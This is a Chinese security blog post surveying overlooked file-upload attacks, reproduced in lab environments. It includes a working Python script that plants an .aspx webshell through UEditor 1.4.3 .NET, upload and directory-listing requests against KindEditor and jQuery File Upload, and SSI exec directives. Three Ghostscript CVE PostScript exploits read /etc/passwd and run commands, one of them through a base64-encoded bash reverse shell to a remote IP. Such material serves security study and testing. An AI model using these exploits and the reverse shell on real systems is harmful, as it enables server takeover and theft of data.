美文网首页
那些年你可能错过的文件上传

那些年你可能错过的文件上传

作者: CSeroad | 来源:发表于2021-06-02 17:28 被阅读0次

前言

由文件上传导致的获取服务器权限一向经久不衰,本文总结了一些你可能会忽略的文件上传点。

UEditor 1.4.3编辑器漏洞

简介

UEditor 是百度开发的一款富文本web编辑器。
该漏洞只存在于该编辑器1.4.3的.net版本。漏洞的成因是获取图片资源时仅检查了Content-Type,导致可以绕过任意文件上传。

image.png

漏洞复现

访问ueditor/net/controller.ashx?action=catchimage,返回参数错误:没有指定抓取源,则可能存在漏洞。
任意文件上传poc为

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import re
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def upload(url,shell):
    headers = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Upgrade-Insecure-Requests': '1'
        }
    req = requests.post(url=url+'?action=catchimage',headers=headers,data='source[]='+shell+'?.aspx',verify=False)
    
    if re.search('SUCCESS',req.text):
        print('[+] 上传成功! 请查看响应包内容!')
    else:
        print('[-] 上传失败! 请查看响应包内容!')
    print(req.text)

if __name__ == '__main__':
    if(len(sys.argv) == 3):
        url = sys.argv[1]
        #url = 'https://bav.xx.xx/xx/ueditor/net/controller.ashx'
        shell = sys.argv[2]
        #shell = 'http://106.xx.xx/a.gif'
        upload(url,shell)
    else:
        print('User: please ueditor_upload.py target_url shell_url')

运行该脚本,指定目标地址target_url,将要上传的文件shell_url

image.png

可实现任意文件上传。

KindEditor 4.1.10 目录遍历漏洞

简介

KindEditor是一套开源的在线HTML编辑器,该编辑器曾经的小于4.1.5有过可上传txt、html文件的漏洞。在4.1.11及之前的版本中的php/upload_json.php文件存在目录遍历漏洞,可借助path参数利用该漏洞浏览文件。在关键时候作用也不容忽视。

漏洞复现

poc为
/kindeditor/php/file_manager_json.php?path=/
该漏洞只存在php版本,jsp环境没有该漏洞。

image.png

CVE-2018-9206 jQuery File Upload漏洞

简介

jQuery File Upload 是github上一个jQuery项目,具有多个文件选择、拖放支持进度条、预览图像、上传音频、视频等功能。
本身具有处理后端上传脚本,在server目录下。
在jQuery-File-Upload v9.22.0之前的版本中,是默认允许上传任意类型的文件,没有做任何限制。
是因为开发者在上传后的存放目录server/php/files下面增加了.htaccess文件。

image.png

强制设置default-handler处理文件,并且强制mime type为application/octet-stream,使files目录下的脚本不会被执行。开发者也是因为配置了.htaccess,以为绝对的安全,所以才没有进行验证后缀。

漏洞复现

下载 jQuery-File-Upload 9.22.0 版本
通过phpstudy访问。
正如我们前面所说,jquery 可以进行任意文件上传。上传当前路径下的test.php文件。

curl -F "files=@test.php" http://10.211.55.31/jQuery-File-Upload-9.22.0/server/php/index.php
image.png

但是上传的文件并没有得到解析。

image.png

虽然配置了.htaccess,但依然存在隐患。

  1. 使用nginx解析该目录,该漏洞就会产生。
  2. 在apache 2.3.9及以后版本中,allowoverride默认为none。allowoverride表示可以覆盖掉.htaccess主配置文件中的指令。这样漏洞依然会产生。
image.png

所以在后来的升级中,jQuery-File-Upload 增加了对上传文件的限制。

SSI指令

简介

SSI 通常称为"服务器端包含",是Server Side Include的简写。用来将文本、图形或应用程序信息包含到网页中。如使用SSI包含日期戳、版权声明、表单。默认扩展名是.stm、.shtm和.shtml,web服务器在处理网页的同时也会处理SSI指令。
在进行任意文件上传测试的时候,如果服务器配置并开启了SSI,在任意上传文件都无法解析的情况下可以尝试上传shtml文件,来执行系统命令。
SSI 指令的基本格式

<!-- #directive parameter="value" -->

directive指令名;
parameter指令参数;
value指令参数值;
注意:#要和directive连在一起,中间不能有空格

基本指令有

config:修改SSI的默认设置
echo:显示环境变量
exec:执行CGI 脚本
flastmod:显示指定文件的最后修改日期
fsize:显示指定文件的大小
include:把其它文档包含到当前被解析的文档

漏洞复现

以phpstudy为测试环境,修改httpd.conf配置文件。

  1. 去掉注释,开启该模块
LoadModule ssl_module modules/mod_ssl.so
  1. 去掉注释,允许执行shtml
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
AddType application/x-httpd-php .php .phtml
  1. 添加INCLUDES
Options +Indexes +FollowSymLinks +ExecCGI +Includes

重启apache可执行SSI执行。
但是我尝试所以SSI指令,除了exec均可以执行。

本文档名称:<!--#echo var="DOCUMENT_NAME"-->
现在时间:<!--#echo var="DATE_LOCAL"-->
显示IP地址:<!--#echo var="REMOTE_ADDR"-->
<!--#exec cmd="dir" -->
image.png

执行exec指令,apache的log日志记录如下:

image.png

该错误没有找到解决方案。有知道的师傅欢迎留言。
在linux上可以准确复现出该漏洞。

image.png image.png

在某些可以任意上传但不解析的情况下,可尝试该方式说不定会有意外的收获。

ghostscript 上传导致的命令执行

简介

Ghostscript 是图像处理中的一种库, 集成在imagemagick等多个开源组件中。
查了很多资料,该库无特定指纹,只能猜测可能在一些图片的缩减、裁剪、pdf的转化时使用该库。所以如果遇到图片的裁剪、pdf和图片的相互转换可选择测试。

漏洞复现

在vulhub里,使用的是identity命令来获取一个或多个图像文件的格式和特性。而提供该命令的软件是ImageMagick。
如果你不太明白ImageMagick和Ghostscript之间的关系,就看这篇文章https://www.cnblogs.com/lixiuran/p/7097505.html
这里就直接使用vulhub复现了。

CVE-2019-6116

POC为

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

/exploit {
    (Stage 11: Exploitation...)=

    /forceput exch def

    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput

    % update
    save restore

    % All done.
    stop
} def

errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==

    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=

% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile

(Attempting to execute a shell command...)= flush

% run command
(%pipe%id > /tmp/success) (w) file closefile

(All done.)=

quit

rce位置为在run command
执行id命令后输出到/tmp/success下。
实现bash反弹

whoami&&echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzQuMTQuNDkvNDQ0NCAwPiYxIA== > /tmp/a.txt && base64 -d /tmp/a.txt > /tmp/b&& bash  /tmp/b

将bash反弹先base64编码到a.txt文件,再base64解码到b文件。
再以bash权限执行b文件,即可反弹。

image.png

CVE-2018-19475

poc为

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%whoami > /tmp/success && cat /tmp/success) (w) file

CVE-2018-16509

poc为

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%whoami > /tmp/a && cat /tmp/a) currentdevice putdeviceprops

总结

实践告诉我以上大部分环境均来源于php环境,果然php才是最"好"的语言。如果你还遇到过好玩的上传漏洞,欢迎留言。

参考资料

https://paper.seebug.org/560/#php
https://secgeek.net/bookfresh-vulnerability/
https://bbs.zkaq.cn/t/3512.html
http://pirogue.org/2017/09/29/aliyunoss/
http://www.yulegeyu.com/2018/10/26/jQuery-File-Upload-arbitrarily-file-upload-Vuln/

相关文章

  • 那些年你可能错过的文件上传

    前言 由文件上传导致的获取服务器权限一向经久不衰,本文总结了一些你可能会忽略的文件上传点。 UEditor 1.4...

  • php文件与目录操作:文件上传和文件下载

    文件的上传 文件是如何上传的?你甚至可能好奇它的文件上传的过程是怎么样实现的?其实,对于我们来说,文件的上传过程我...

  • 上传的图片返回URL到前台,图片为什么不显示呢?看下面

    1: 可能你的文件上传代码有问题,导致每次重启服务器,上传的文件都会被清空,如果不是,请看2. 2:检查你上传的文...

  • 〔青春言情〕青春无悔(1)

    那些年错过的大雨,那些年错过的爱情,好想告诉你,告诉你我没有忘记…… ...

  • 只属于自己的电影

    那些年我们错过的大雨,那些年我们错过的场景。那些年你没有留住的回忆,那些年你想说却没说出口的话。那些年你有没有幻想...

  • 这些年读书犯过的那些错误

    “那些年错过的大雨,那些年错过的爱情,好想拥抱你,拥抱错过的勇气”,那些年错过了爱情,那些年还一直错过正确的读书的...

  • 你干过最青春的事是什么

    你暗恋过吗 “那些年错过的大雨,那些年错过的爱情,好想拥抱你,拥抱错过的勇气。” 那些随着时间慢慢淡去的到底是感觉...

  • 耿耿余淮

    人生当中总有那么一段时光叫做青春。那些年错过的大雨,那些年错过的回忆,以及那些年错过的那个人,也许它们占据了你的青...

  • 有你在,就是我的青春

    那些年错过的大雨,那些年错过的爱情,好想拥抱你,拥抱错过的勇气。再一次相遇,我会紧紧抱着你,紧紧抱着你。 ...

  • 那些年

    我们的青春还在吗?那些年错过的大雨;那些年错过的友谊;那些年错过的爱情…… 那些年,我相信我们...

网友评论

      本文标题:那些年你可能错过的文件上传

      本文链接:https://www.haomeiwen.com/subject/hmocektx.html